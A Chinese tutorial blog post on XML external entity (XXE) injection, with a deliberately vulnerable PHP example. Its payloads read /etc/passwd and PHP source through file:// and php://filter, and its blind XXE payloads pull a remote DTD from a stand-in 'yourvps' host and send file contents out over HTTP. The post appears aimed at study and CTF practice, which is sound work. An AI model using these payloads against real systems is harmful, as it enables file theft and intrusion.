小试XML实体注入攻击
基础知识
XML(Extensible Markup Language)被设计用来传输和存储数据。关于它的语法,本文不准备写太多,只简单介绍一下。
XML基本知识
1
2
3
4
5
|
<?xml version="1.0" encoding="utf-8"?>
<note>
<to>chybeta</to>
<from>ph0en1x</from>
</note>
|
在上面代码中的第一行,定义XML的版本与编码。
在XML文档中,所有的元素都必须正确的嵌套,形成树形结构。并且整个XML文档中必须要有一个根元素。如上代码,<note>
是整个文档的根元素。嵌套在note标签中的<to>
和<from>
则是根的子元素。
同时,所有的XML元素都必须有关闭标签,这点不像html语法那样松散。如果缺失关闭标签,则会导致XML解析失败。
实体
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成。这里着重介绍一下实体:实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体引用是对实体的引用。实体可在内部或外部进行声明。因此我们利用引入实体,构造恶意内容,从而达到攻击的目的。
实体类型
XML实体分为四种:字符实体,命名实体,外部实体,参数实体。
文档类型定义:DTD
wikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。简单的说,DTD的作用是定义XML文档的合法构建模块。如前所述,实体也是构建模块之一。因此可以利用DTD来内部或外部引入实体。
其基本格式:
1
|
<!DOCTYPE 根元素名 [ 元素描述 ]>
|
内部引入
格式:
1
|
<!ENTITY 实体名称 "实体的值">
|
将DTD和XML放在同一份文档中,利用DTD定义的实体即为内部实体。
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY chybeta "Hello World!">
]>
<xxe>
&chybeta;
</xxe>
|
访问该XML文档,&chybeta;
会被解析为Hello World!并输出。
外部引入
基本格式:
1
|
<!ENTITY 实体名称 SYSTEM "URI">
|
通过引用定义在外部的DTD中的实体,我们称之为外部实体。
由于xxe漏洞主要利用的是外部实体,所以这里暂不展开。具体实例见下。
利用方式
xxe注入
以php环境为例,index.php内容如下:
1
2
3
4
|
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
|
读取本地文件
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取c盘里的TEST.txt。
1
2
3
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>
|
将上述xml进行url编码后传进去,可以发现读取了TEST.txt中的内容。
我这里测试时,如果不进行url编码则不能成功解析。
若使用fill协议,在unix环境下,可以用如下xml来读取passwd:
1
2
3
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>
|
如果要读取php文件,因为php、html等文件中有各种括号<
,>
,若直接用file读取会导致解析错误,此时可以利用php://filter
将内容转换为base64后再读取。
1
2
3
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
|
这里同样先经过url编码后再传入。读取结果如下:
命令执行
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。这里暂不进行测试。
内网探测/SSRF
由于xml实体注入攻击可以利用http://
协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
bind xxe
以php环境为例,现在更改index.php内容如下:
1
2
3
|
<?php
$xml=simplexml_load_string($_GET['xml']);
?>
|
少了print_r,即没有回显消息。这个时候我们可以利用参数实体,通过发起http请求来攻击。
读取本地文件
payload1
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://TEST.txt">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
|
在我的vps的xxe.xml的内容如下:
1
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
|
而测试文件TEST.txt内容为:
1
|
chybeta
|
整个的调用过程如下:解析时%dtd
引入xxe.xml,之后%all
引入send
的定义,最后引用了实体send,把%file
文件内容通过一个http请求发了出去。注意需要把payload经过url编码。查看vps上的access.log:
若要读取php等文件,同样需要先经过base64加密下。
1
2
3
4
5
6
7
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>
|
查看access.log:
payload2
发送的xml:
1
2
3
4
5
6
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %send;
]>
|
而在vps上的xxe.xml内容为:
1
|
<!ENTITY % payload2 "<!ENTITY % send SYSTEM 'http://yourvps/%file;'>"> %payload2;
|
注意的是,
不能直接写成%
,否则无法解析。
xxe.xml中定义和引用了%payload2
,在通过%dtd
引入xxe.xml后,得以使用符号实体%send来进行发送。其中%file为读取的文件内容。查看access.log:
ctf
小试牛刀
拿jarvisoj平台上的题目来小试牛刀吧。
题目:api调用
题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值
参考链接:https://chybeta.github.io/2017/07/04/%E5%B0%8F%E8%AF%95XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/
小试XML实体注入攻击的更多相关文章
- XXE(XML External Entity attack)XML外部实体注入攻击
导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...
- XML实体注入漏洞
XML实体注入漏洞 测试代码1: 新建xmlget.php,复制下面代码 <?php $xml=$_GET['xml']; $data = simplexml_load_string($xml) ...
- 3. XML实体注入漏洞的利用与学习
XML实体注入漏洞的利用与学习 前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发 ...
- 2.XML实体注入漏洞攻与防
XML实体注入基础 当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件.执行系统命令.探测内网端口.攻击内网网站等危害. 简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符 ...
- Fortify漏洞之XML External Entity Injection(XML实体注入)
继续对Fortify的漏洞进行总结,本篇主要针对 XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...
- XML 实体扩展攻击
XMl Entity Expansion(攻击)某种程度上类似于 XML Entity Expansion,但是它主要试图通过消耗目标程序的服务器环境来进行DOS攻击的.这种攻击基于XML Entit ...
- XML 实体扩展攻击libxml_disable_entity_loader
XML 实体扩展攻击libxml_disable_entity_loader https://pay.weixin.qq.com/index.php/public/cms/content_detail ...
- 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629
Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...
- XXE(外部实体注入攻击)
利用XXE漏洞可以进行拒绝服务攻击.文件读取.命令代码执行.SQL(XSS)注入.内外扫描端口和入侵内网站点等,内网探测和入侵是利用XXE中支持的协议进行内网主机和端口的发现,可以理解为使用XXE进行 ...
随机推荐
- [WC2010]重建计划(分数规划+点分治+单调队列)
题目大意:给定一棵树,求一条长度在L到R的一条路径,使得边权的平均值最大. 题解 树上路径最优化问题,不难想到点分治. 如果没有长度限制,我们可以套上01分数规划的模型,让所有边权减去mid,求一条路 ...
- 【nginx】nginx配置文件结构,内置变量及参数调优
Nginx的配置文件是一个纯文本文件,它一般位于Nginx安装目录的conf目录下,整个配置文件是以block的形式组织的.每个block一般以一个大括号“{”来表示.block 可以分为几个层次,整 ...
- 2018蓝桥杯 省赛D题(测试次数)
x星球的居民脾气不太好,但好在他们生气的时候唯一的异常举动是:摔手机.各大厂商也就纷纷推出各种耐摔型手机.x星球的质监局规定了手机必须经过耐摔测试,并且评定出一个耐摔指数来,之后才允许上市流通.x星球 ...
- 2019 校内赛 RPG的天赋分支(贪心)
Problem Description 很多游戏都有天赋树的概念,天赋树的不同分支具有不同的属性加成,那么合理选择分支就非常重要了.Luke最近沉迷一款RPG游戏,它的天赋树机制如下:角色具有n个可选 ...
- python 验证码识别
一.python识别简单验证码: 代码: ''' func:实现简单验证码获取 ''' import pytesseract from PIL import Image #首先通过Image打开一个图 ...
- MongoDB常用操作命令
查看所有数据库: > show dbs; 选定数据库: > use ECommerce; 查看当前数据库状态: > db.stats(); 查看当前数据库中所有集合: > sh ...
- 集成学习值Adaboost算法原理和代码小结(转载)
在集成学习原理小结中,我们讲到了集成学习按照个体学习器之间是否存在依赖关系可以分为两类: 第一个是个体学习器之间存在强依赖关系: 另一类是个体学习器之间不存在强依赖关系. 前者的代表算法就是提升(bo ...
- java基础学习2
http://www.runoob.com/java/java-modifier-types.html Java 修饰符 Java 增强 for 循环 Java5 引入了一种主要用于数组的增强型 ...
- sprignclou的zuul的实战
idea启动集群服务: https://blog.csdn.net/love_dl_forever/article/details/78918181 http://www.scienjus.com/a ...
- Linux 多线程 - 线程异步与同步机制
Linux 多线程 - 线程异步与同步机制 I. 同步机制 线程间的同步机制主要包括三个: 互斥锁:以排他的方式,防止共享资源被并发访问:互斥锁为二元变量, 状态为0-开锁.1-上锁;开锁必须由上锁的 ...